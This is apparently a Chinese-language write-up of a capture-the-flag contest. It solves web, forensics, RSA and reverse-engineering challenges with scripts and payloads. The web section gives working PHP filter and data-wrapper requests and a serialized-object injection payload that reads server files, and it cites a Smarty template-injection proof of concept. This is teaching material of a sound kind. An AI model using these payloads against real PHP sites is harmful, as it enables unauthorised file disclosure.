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EzSignin
訪問題目flag是假的，F(xiàn)12源代碼，看到base64解碼
解碼得到flag
CODE
訪問題目，有個aid.php直接訪問不行，使用PHP為協(xié)議進行讀取，input2需要等于Welcone!，這里要使用data協(xié)議編碼一下，input3可以隨便輸入
?input1=php://filter/read=convert.base64-encode/resource=aid.php&input2=data://text/plain;base64,V2VsY29tZSE=&input3=a
得到aid.php的代碼
class Person
{
public $name="Zhangsan";
public $age=22;
public function __toString()
{
return file_get_contents($this->name);
}
}
class Job
{
public $type = "IT";
public $salary = "10000";
public $people;
public function __invoke()
{
echo "I am ".$this->people.", a ".$this->type." job, and my salary is ".$this->salary."\n";
}
}
很明顯的反序列化，直接構(gòu)造payload：
$a = new Job();
$a->people = new Person();
$a->people->name = "php://filter/read=convert.base64-encode/resource=flag.php";
echo serialize($a);
exp：
?input1=data://text/plain;base64,V2VsY29tZSE=&input2=data://text/plain;base64,V2VsY29tZSE=&input3=O:3:"Job":3:{s:4:"type";s:2:"IT";s:6:"salary";s:5:"10000";s:6:"people";O:6:"Person":2:{s:4:"name";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:3:"age";i:22;}}
base64解碼得到的flag.php得到flag
havefun
打開題目測試發(fā)現(xiàn)是Smarty的模板注入
上網(wǎng)搜索發(fā)現(xiàn)Smarty模板注入CVE
找到一個SmartyCVE集合，https://www.cvedetails.com/vulnerability-list/vendor_id-2921/Smarty.html
第一個比較新，是22年的，先上github找個poc試試，https://github.com/sbani/CVE-2022-29221-PoC
發(fā)現(xiàn)能夠直接利用，那找找flag文件路徑，然后打開就好了
MISC
babyusb
拖進010發(fā)現(xiàn)有Rar，使用foremost分離
不知道密碼，繼續(xù)從流量包下手
流量包這里發(fā)現(xiàn)第一個字節(jié)都是02，第二個字節(jié)可能是00 01 02，應(yīng)該是鼠標的左右鍵以及未點擊，使用tshark提取出來
得到流量包的數(shù)據(jù)包1.txt
這里寫個腳本將左鍵和右鍵的數(shù)據(jù)分別提取出來:
keys = open('1.txt','r')
r_left = open('left.txt','w')
r_right = open('right.txt', 'w')
posx = 0
posy = 0
for line in keys:
if len(line) != 20:
x = int(line[6:8],16) + int(line[8:10],16) * 256
y = int(line[10:12],16) + int(line[12:14],16) * 256
if x > 0xffff / 2 :
x -= 0x10000
if y > 0xffff / 2 :
y -= 0x10000
posx += x
posy += y
b_flag = int(line[2:4],16)
if b_flag == 1 :
r_left.write(str(posx)+' '+str(-posy)+'\n')
elif b_flag == 2 :
r_right.write(str(posx)+' '+str(-posy)+'\n')
keys.close()
result_left.close()
result_right.close()
得到坐標，使用gnuplot進行繪制
left繪制出:43e8f3359250d2ab
right繪制出來:9cc13d19f942aabc
嘗試后發(fā)現(xiàn)left的43e8f3359250d2ab是壓縮包的密碼，解壓得到一張圖片:
圖片上也沒有flag，right得到的字符串也還沒有使用，猜測和這張圖有關(guān)，可能是一個key，使用lsb隱寫試試
最后，得到 flag
Findme
打開題目，一個文本和壓縮包，zip不是偽加密，爆破也沒出來
vim查看hello_flag.txt，應(yīng)該是零寬隱寫
https://330k.github.io/misc_tools/unicode_steganography.html進行在線解密，內(nèi)容中有提示字符為:200d、2062、2063
這個flag是假的，但下面還有串secret，猜測應(yīng)該是zip的密碼，you_know_this_not_passwd，解壓得到misc.vhd
直接繼續(xù)解壓，得到三個文件：hint.txt、meijing.jpg、XIHU
先看下hint，有一串字符，但是不知道有什么用，使用010打開XIHU查看下
發(fā)現(xiàn)0、2、4、6對應(yīng)的為:FFD8FFE0，而1、3、5、7對應(yīng)的為:89504E47，一個是PNG文件頭，一個是JPG文件頭，這里應(yīng)該兩張圖片數(shù)據(jù)是交叉的，直接拉到文件最后，這個是png的文件尾，所以JPG在中途就結(jié)束了
hint中的提示，也許和這個文件有關(guān)，搜索一下
在d00030603f之前都還是交叉的，到d000這里就結(jié)束了
寫腳本將兩張圖片分離出來:
import binascii
with open("XIHU", "rb") as XIHU: xhhex = XIHU.read().hex()
overlap = xhhex[:350164]
unoverlap = xhhex[350164:]
jpghex, pnghex = "", ""
for value in range(0, len(overlap), 4):
jpghex += overlap[value:value + 2]
pnghex += overlap[value + 2:value + 4]
with open("XIHU.jpg", "wb") as jpg: jpg.write(binascii.unhexlify(jpghex))
with open("XIHU.png", "wb") as png: png.write(binascii.unhexlify(pnghex + unoverlap))
XIHU.jpg：
XIHU.png：
但jpg文件不正常，png是正常圖片，這里猜測jpg文件和png應(yīng)該要進行或、異或的操作
腳本如下:
import cv2
dec = cv2.bitwise_xor(cv2.imread("XIHU.jpg", 0), cv2.imread("XIHU.png", 0))
cv2.imwrite(r"D:\Projects\pythonProject\decryption.jpg", dec)
成功得到一張圖片:
左下角有提示:P@33W4，應(yīng)該是個密碼，之前解壓出來的meijing圖片還一直未使用，猜測應(yīng)該與meijing那張圖片有關(guān)系，試了試lsb隱寫
發(fā)現(xiàn)不行，常見的圖片隱寫還有jphide隱寫，使用JPHS，打開圖片seek處填了個剛剛得到的P@33W4
保存后打不開
010查看，發(fā)現(xiàn)是zip
解壓得到個flag的gif動圖，利用GIF分離器工具將動圖分離出來
是個二維碼，利用在線工具進行拼接，圖片有25張，二維碼的話正好可以弄成5*5的
利用QR掃描出來
得到一串字符串ZmxhZ3tIYWhhX1lAdV9GaW5kTWVfR0l2ZV9UaGVfRmxhZ1RvWW91fQ，看特征應(yīng)該是base64，解碼得到flag:
CRYPTO
RSA
打開壓縮包發(fā)現(xiàn)python文件，由文件名與提供的數(shù)據(jù)可知為RSA，根據(jù)代碼猜測需求出e1,e2,對應(yīng)的需求出p1,r1,q1
p3密鑰對為（p1,3,n），已知p3的值，直接用iroot分解p3得到p1
顯示true， q1卻為false
from gmpy2 import iroot,invert
p3=29914513810588158800677413177910972738704129106546850855032986405861482276089830788972187432277517348644647399654780884571794069905291936470934226328931651386658328163535027343107140438177837479649822914209171476632450951930287641742344330471734177295804718555774395704231261550376220154493373703096062950390869299905383682611063374747752091585836452902373843865043412096365874638466683035848817858586173172058756256354758712684819253211761289032789542371351760915771791997388241121078055468403109260493642435791152671979552597191217179672328555740595434990908530985477314228867209314472001848844089467987561661918366232980944933533
q3=66208618374366130551979192465001581263127328176551695213970812805980115496523825511250542987452691413485117902772315362811067501379171731387904074565035353566976164797769439898266222919741874340315356585585077141595328441423323822407738375537476582506440045835592730211502035261968878999959340204806442390319739977816872969200022096331677277225467021553564212725120939434924481787524609852608476848761521446441776154400518315701988027274150425936061679275540502720782853648148897480117033152064922234451671636288396704170234613549011854618414776342798740690128675106027908639984431432591397555541420243824539205614036979987830125678
p1=iroot(p3,3)
q1=iroot(q3,3)
print(p1)
print(q1)
所以得到p1，再由代碼可得q1=5p1+9,n=p1q1*r1
所以通過rsa原理得知公式kn=q13-q3,將兩式結(jié)合得p1q1r1k=q13-q3
同時除于q1得p1kr1=q12-q3/q1。
則k*r1=(q12-q3/q1)/p1
實現(xiàn)代碼如下
from gmpy2 import iroot,invert
p3=29914513810588158800677413177910972738704129106546850855032986405861482276089830788972187432277517348644647399654780884571794069905291936470934226328931651386658328163535027343107140438177837479649822914209171476632450951930287641742344330471734177295804718555774395704231261550376220154493373703096062950390869299905383682611063374747752091585836452902373843865043412096365874638466683035848817858586173172058756256354758712684819253211761289032789542371351760915771791997388241121078055468403109260493642435791152671979552597191217179672328555740595434990908530985477314228867209314472001848844089467987561661918366232980944933533
q3=66208618374366130551979192465001581263127328176551695213970812805980115496523825511250542987452691413485117902772315362811067501379171731387904074565035353566976164797769439898266222919741874340315356585585077141595328441423323822407738375537476582506440045835592730211502035261968878999959340204806442390319739977816872969200022096331677277225467021553564212725120939434924481787524609852608476848761521446441776154400518315701988027274150425936061679275540502720782853648148897480117033152064922234451671636288396704170234613549011854618414776342798740690128675106027908639984431432591397555541420243824539205614036979987830125678
p1=iroot(p3,3)[0]
q1=5*p1+9
a=q1**2-q3//q1
b=a//p1
print(b)
得到b，再通過yafu分解k*r1得r1
得到p1,r1后可得e1,e2
from gmpy2 import iroot,invert
p3=29914513810588158800677413177910972738704129106546850855032986405861482276089830788972187432277517348644647399654780884571794069905291936470934226328931651386658328163535027343107140438177837479649822914209171476632450951930287641742344330471734177295804718555774395704231261550376220154493373703096062950390869299905383682611063374747752091585836452902373843865043412096365874638466683035848817858586173172058756256354758712684819253211761289032789542371351760915771791997388241121078055468403109260493642435791152671979552597191217179672328555740595434990908530985477314228867209314472001848844089467987561661918366232980944933533
q3=66208618374366130551979192465001581263127328176551695213970812805980115496523825511250542987452691413485117902772315362811067501379171731387904074565035353566976164797769439898266222919741874340315356585585077141595328441423323822407738375537476582506440045835592730211502035261968878999959340204806442390319739977816872969200022096331677277225467021553564212725120939434924481787524609852608476848761521446441776154400518315701988027274150425936061679275540502720782853648148897480117033152064922234451671636288396704170234613549011854618414776342798740690128675106027908639984431432591397555541420243824539205614036979987830125678
p1=iroot(p3,3)[0]
q1=5*p1+9
a=q1**2-q3//q1
b=a//p1
lcm=4292158730589770192682795435047249488185453170529228019750042608688907718268448193363838203887391025871515871000364259326343790645215256385842265899206372365402431198699714374850409466996627163968391249416054093529090485677808301343590811445080871279796162536469847469761747058736980603093722710824453312207182881241846080117790728778291633761198069016865260030288832065807438020772711645648333908622890343009942617559434851450007195025869850769670769715654662127278293639938359741401336592219730356884542179574372134014927006215640945952229142436595334916765255426954857520777553915330597952622785359222832224632624
#print(b)
r1=4012254850248640149728766179729622181568889047306796355737648189126852678381304580418646601354334052377010272505434824159877622618692115359742428958423328302444038826295560279988456347430842777189171077679430323
e1=invert(p1,lcm)
e2=invert(r1,lcm)
print(e1)
print(e2)
后半段代碼通過m看似與連分數(shù)有關(guān)，感覺很像20年羊城杯的一道RSA題，于是上網(wǎng)搜索，發(fā)現(xiàn)可以使用維納攻擊求m
地址: (2條消息) 2022-04-05_無名函數(shù)的博客-CSDN博客_擴展維納攻擊
借鑒維納攻擊代碼如下：
在kali中用sagemath跑一下
from libnum import *
e1 = 682944966010246982451945080784127776132584966768813035042964689779889314289065612031252794836853539142432313675446558593230887262978798359458050818070887866693067836942374689194374686546738513017379437738072741675556049730308358184014744306644656723687880543335105842927594541401270432855843568707027998876698543813325498357456428492435271967316343740046909896516299956138545536230081790266643588137897255965829156578768011982645751839998016331448516830349843557297671444284511616276876720783147664797064137964990942677437011368276814445618829719647736077571319087492924938294750959717527162986116882465805637943165
N = 17168634922359080770731181740188997952741812682116912079000170434755630873073792773455352815549564103486063484001457037305375162580861025543369063596825489461609724794798857499401637867986508655873564997664216374116361942711233205374363245780323485119184650145879389879046988234947922412374890843297813248828996855478005656041814919367820336728271583686844991928889831691815821365423570311291064846736832327637944358854661523107817781673029406341843040857813841671405147146887291204140157388049394514390098066284975682117038362207142272098796924412602725857521665773622056312191400612944442008222587867782281556388669
e2 = 1780725328468124204237400131743739614629299064981556450715839640215589633919556647366610480235584462668203545458940269186591787517554911050028425386755407369087165653931345901043176191697863401421127491117031914846991600041718305179121746734098137556913823014876691432788543983377333400991398289852905120269652333113287779976622495686401777249881341159571113531725366180315045707914112991402123817487560567431957392468299211069812260399744297485373347226290746435568890042637923344165091024535436341300131291647646886270133421714127543291954443212394634991407545590553134603734231108660454743279811978778027769524571
c = 4288727484183191191687364666620023549392656794153112764357730676861570386983002380982803054964588111708662498647767438881892355599604826306427809017097724346976778230464708540600157055782723189971534549543664668430013171469625043063261219462210251726207552819381767396148632877168530609902046293626355744288863460554297860696918890189350721960355460410677203131993419723440382095665713164422367291153108363066159712951217816814873413423853338021627653555202253351957999686659021298525147460016557904084617528199284448056532965033560516083489693334373695545423561715471204868795248569806148395196572046378679014697206
a = 5 / 14
M1 = int(pow(N, 0.5))
M2 = int(pow(N, 1 + a))
L2 = matrix(ZZ, [[N, -M1 * N, 0, N ** 2],
[0, M1 * e1, -M2 * e1, -e1 * N],
[0, 0, M2 * e2, -e2 * N],
[0, 0, 0, e1 * e2]])
B = L2.LLL()[0]
A = B * L2 ^ (-1)
phi = int(e1 * A[1] // A[0])
pow(c, inverse_mod(0x10001, phi), N)
m=(pow(c,inverse_mod(65537,phi),N))
print(n2s(int(m)))
得到的flag進行md5加密一下提交
RE
havetea
Ida打開，使用findcrypt插件，發(fā)現(xiàn)tea系列算法
main函數(shù)對比發(fā)現(xiàn)輸入secrypt key
F5查看后發(fā)現(xiàn)第一個比對
其中v6是輸入，v10是可以直接獲得
分析sub_4020F0算法可以發(fā)現(xiàn)是tea算法
直接使用網(wǎng)上的tea解密函數(shù)，導(dǎo)入加密數(shù)據(jù)時需要注意小端序，且對應(yīng)的key是直接寫入了sub_4020F0中的
代碼如下：
#include <stdio.h>
#include <stdint.h>
//解密函數(shù)
void teadecrypt(unsigned int *v, unsigned int *k) {
unsigned int v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i; /* set up */
unsigned int delta = 0x9e3779b9; /* a key schedule constant */
unsigned int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
} /* end cycle */
v[0] = v0;
v[1] = v1;
}
int main() {
unsigned int k[4] = {0x9E, 0x37, 0x79, 0xB9};
unsigned int enkey[4] = {0xE66F0E9E, 0x42A17CD6, 0x5BDDE878, 0xD236F4AD};
teadecrypt(enkey, k);
teadecrypt(&enkey[2], k);
printf("%s\n", enkey);
return 0;
}
結(jié)果如下：
取前16個字符進入下一步
Ida找到提示信息
F5找到第二個比對
這里無法直接獲取v21，使用動態(tài)調(diào)試找對應(yīng)位置的代碼，這里需要注意的是輸入的測試代碼是32位，可能是因為下面這段代碼首先比對了輸入字符串長度。
最終定位結(jié)果如下，導(dǎo)出該數(shù)據(jù)是同樣要注意小端序：
分析sub_402170函數(shù)可以發(fā)現(xiàn)該函數(shù)是xtea算法
直接使用網(wǎng)上的xtea解密代碼，需要注意的是解密key是之前我們輸入key，代碼如下
#include <stdio.h>
#include <stdint.h>
//解密函數(shù)
void teadecrypt(unsigned int *v, unsigned int *k) {
unsigned int v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i; /* set up */
unsigned int delta = 0x9e3779b9; /* a key schedule constant */
unsigned int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
} /* end cycle */
v[0] = v0;
v[1] = v1;
}
void xteadecrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = delta * num_rounds;
for (i = 0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0;
v[1] = v1;
}
int main() {
unsigned int k[4] = {0x9E, 0x37, 0x79, 0xB9};
unsigned int enkey[4] = {0xE66F0E9E, 0x42A17CD6, 0x5BDDE878, 0xD236F4AD};
teadecrypt(enkey, k);
teadecrypt(&enkey[2], k);
printf("%s\n", enkey);
unsigned int enmsg[8] = {0x7D758E0A, 0xEDAFF6AD, 0x9DDE7E86, 0xE3D36CD5, 0xABD3C82E, 0x6B7B2CFE, 0x2C6608C2,
0x0686A1DA};
xteadecrypt(32, &enmsg[0], enkey);
xteadecrypt(32, &enmsg[2], enkey);
xteadecrypt(32, &enmsg[4], enkey);
xteadecrypt(32, &enmsg[6], enkey);
printf("%s\n", enmsg);
return 0;
}
結(jié)果如下，取前32位
獲得最終flag文章來源：http://www.zghlxwxcb.cn/news/detail-460395.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-460395.html
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